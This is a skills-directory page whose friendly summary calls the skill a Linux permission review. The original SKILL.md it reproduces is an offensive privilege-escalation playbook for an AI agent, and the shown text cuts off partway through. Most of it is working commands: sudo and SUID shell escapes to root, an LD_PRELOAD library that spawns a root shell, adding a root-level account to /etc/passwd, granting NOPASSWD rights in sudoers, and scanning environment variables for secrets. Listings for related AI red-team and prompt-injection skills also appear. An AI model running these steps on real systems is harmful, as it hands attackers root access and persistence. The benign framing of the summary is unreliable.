linux-privesc-enum
What it does
This guide lists the order in which Linux privilege settings should be reviewed. It is for system administrators and authorized testers who need to find weak permission settings.
When to use it
- βWhen a system administrator wants to review sudo rules and special file permissions on a Linux server.
- βWhen an authorized test needs a structured checklist for local privilege settings.
- βWhen a team wants to confirm that scheduled jobs and writable paths are safe.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you walk through a privilege review of our Linux server, starting with sudo rules and special permissions?β
5 new skills a week. 1 minute to read.
How it works
The agent works through the phases in order, from identity and system details to sudo rules, special permission files, scheduled jobs and writable paths, and records each weak setting it finds.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Linux Privilege Escalation β Systematic Enumeration Methodology
Grounded in autonomous privesc research (Happe & Cito, ESEC/FSE 2023 β hackingBuddyGPT) which empirically validated that ordered, phase-driven enumeration with state tracking outperforms ad hoc command execution. Follow phases in priority order; stop at first exploitable finding and validate before moving to the next phase.
Authorized use only. Run only on systems you own or have explicit written permission to test.
Phase 0 β Situational Awareness (always first)
Establish identity, OS, and architecture before anything else. Every later phase depends on this context.
# Identity
id; whoami; groups; cat /proc/$$/status | grep -E 'Uid|Gid|Groups'
# OS and kernel
uname -a
cat /etc/os-release 2>/dev/null || cat /etc/issue
cat /proc/version
# Environment
env | grep -iE 'path|home|sudo|pass|token|secret|key'
echo $PATH
# Network context (pivot potential)
ip addr show 2>/dev/null || ifconfig
ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null
cat /etc/hosts
# Running processes (spot root services)
ps auxf 2>/dev/null | grep -v '\[' | head -40
Phase 1 β Sudo (highest yield, lowest noise)
Sudo misconfigurations are the most common finding in CTFs and enterprise systems alike.
sudo -l 2>/dev/null
# Parse output carefully:
# (root) NOPASSWD: /usr/bin/vim β vim -c ':!sh'
# (root) NOPASSWD: /usr/bin/python3 β python3 -c 'import os; os.system("/bin/bash")'
# (root) NOPASSWD: /usr/bin/find β find / -exec /bin/sh \; -quit
# (root) NOPASSWD: /usr/bin/less β less /etc/shadow then: !sh
# (root) NOPASSWD: /usr/bin/awk β awk 'BEGIN {system("/bin/sh")}'
# (root) NOPASSWD: /usr/bin/tar β tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# (root) NOPASSWD: /usr/bin/env β env /bin/sh
# (root) NOPASSWD: /usr/bin/zip β zip /tmp/x /tmp/x -T --unzip-command="sh -c /bin/sh"
# (root) NOPASSWD: /usr/bin/man β man man then: !sh
# (root) NOPASSWD: /usr/bin/ftp β ftp then: !sh
# (root) NOPASSWD: /bin/cp β overwrite /etc/passwd or /etc/sudoers
# (root) NOPASSWD: /usr/bin/tee β echo 'user ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/pwned
GTFOBins lookup workflow
For any allowed binary, check https://gtfobins.github.io/#<binary>?sudo β filter for "sudo" column.
Sudo env_keep abuse
# If sudoers contains: Defaults env_keep += "LD_PRELOAD"
cat > /tmp/pe.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
setuid(0); setgid(0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so <any_allowed_command>
Phase 2 β SUID / SGID Binaries
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null | sort
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null | sort
# Quick cross-reference against known GTFOBins SUID list
KNOWN_SUID=(bash sh dash find python python3 perl ruby php node env vim vi nano nmap curl wget cp mv tee tar zip less more man ftp ssh socat strace tcpdump openssl)
for bin in "${KNOWN_SUID[@]}"; do
find / -name "$bin" -perm -4000 2>/dev/null
done
Common SUID exploitation patterns
# bash / sh with SUID β direct root shell
/bin/bash -p # -p preserves effective UID
# find
/usr/bin/find / -name "x" -exec /bin/bash -p \; -quit
# python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# vim / vi
/usr/bin/vim -c ':python3 import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
# or simply:
/usr/bin/vim -c ':!bash -p'
# nmap (< 5.21 with --interactive)
/usr/bin/nmap --interactive # then: !sh
# cp β overwrite /etc/passwd
openssl passwd -1 -salt salt hackme # get hash
echo 'root2:$1$salt$<hash>:0:0:root:/root:/bin/bash' >> /tmp/newpasswd
/usr/bin/cp /tmp/newpasswd /etc/passwd
su root2 # password: hackme
# env
/usr/bin/env /bin/bash -p
# tee β append to sudoers
echo 'www-data ALL=(ALL) NOPASSWD: ALL' | /usr/bin/tee -a /etc/sudoers
Phase 3 β Linux Capabilities
Capabilities are frequently overlooked and often not caught by basic linPEAS runs on hardened systems.
getcap -r / 2>/dev/null
# High-value capabilities:
# cap_setuid+ep β direct UID 0
# cap_setgid+ep β direct GID 0
# cap_dac_read_search+ep β re
FAQ
Why follow a fixed order?
The guide says ordered checks are more reliable than random commands, and the first real problem is validated before moving on.
What is sudo misconfiguration?
It is when a user is allowed to run a program as root in a way that can be abused.
Who should run it?
Administrators and authorized testers on systems they own or are permitted to test.
Details
Original description by the author
Systematic Linux privilege-escalation enumeration methodology β ordered phases covering sudo, SUID/SGID, capabilities, cron, writable paths, NFS, kernel CVEs, and GTFOBins lookup, grounded in LLM-assisted autonomous privesc research (hackingBuddyGPT/ipa-lab).
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14135
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.